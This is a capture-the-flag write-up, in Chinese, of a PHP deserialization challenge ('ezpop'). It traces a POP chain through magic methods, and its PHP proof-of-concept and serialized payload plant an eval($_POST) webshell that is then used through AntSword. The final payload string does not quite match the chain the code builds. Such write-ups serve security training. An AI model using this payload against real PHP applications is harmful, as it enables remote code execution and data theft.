ezpop【2022DASCTF X SU 三月春季挑战赛】
目录
漏洞类型
解题思路
解题流程
新知识点
题目地址
漏洞类型
PHP反序列化
解题思路
首先 预览代码,发现函数 unserialize 判断反序列化知识点,并且有多个类可能考察pop链
第一:四个魔术方法___destruct__call__toString__invoke;
第二:传输 cmd参数数据后触发 fin类的__destruct此为切入点;
第三:审计代码发现mix类中的eval('#' . $this->m1); m1可控,所以我要调用get_flag方法;
第四:fin类中调用了 get_flag 方法, 所以需要调用 __call 方法
第五:crow类中调用了world不存在的方法, 所以需要调用__invoke方法
第六:mix类将的run方法将变量当做方法, 所以需要调用run方法
第七:waht类调用了run方法, 所以需要调用__toString方法
第八:fin类将变量与字符串进行了拼接, 所以需要调用__destruct方法
第九:因为有unserialize函数,所以会自动调用__destruct
解题流程
源代码
<?php class crow { public $v1; public $v2; function eval() { echo new $this->v1($this->v2); } public function __invoke() { $this->v1->world(); } } class fin { public $f1; public function __destruct() { echo $this->f1 . '114514'; } public function run() { ($this->f1)(); } public function __call($a, $b) { echo $this->f1->get_flag(); } } class what { public $a; public function __toString() { $this->a->run(); return 'hello'; } } class mix { public $m1; public function run() { ($this->m1)(); } public function get_flag() { eval('#' . $this->m1); } } if (isset($_POST['cmd'])) { unserialize($_POST['cmd']); } else { highlight_file(__FILE__); }
逆向推理
mix类m1可控 get_flag => fin 类 __call
fin 类 __call => crow 类 __invoke
crow 类 __invoke => mix 类 run
mix 类 run => what 类 __toString
what 类 __toString => fin 类 __destruct
正向推理
?cmd=反序列化字符串
fin 类 __destruct f1=new what()
what 类 __toString a=new mix()
mix 类 run m1=new crow()
crow 类 __invoke v1=new fin()
fin 类 __call f1=new mix()
POC
<?php class crow { public $v1; public $v2; public function __construct($v1) { $this->v1 = $v1; } } class fin { public $f1; public function __construct($f1) { $this->f1 = $f1; } } class what { public $a; public function __construct($a) { $this->a = $a; } } class mix { public $m1; public function __construct($m1) { $this->m1 = $m1; } } $f = new mix("?><?=eval(\$_POST[1]);"); $e = new fin($f); $d = new crow($e); $c = new mix($d); $b = new what($c); $a = new fin($b); echo urlencode(serialize($a));
使用蚁剑链接,链接密码
cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"fin":1:{s:2:"f1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:21:"?><?=eval($_POST[1]);";}}s:2:"v2";N;}}}}&1
在蚁剑中/var/www/html/目录下打开终端,使用cat *命令
新知识点
eval() 函数把字符串按照 PHP 代码来计算
题目地址
https://buuoj.cn/match/matches/89/challenges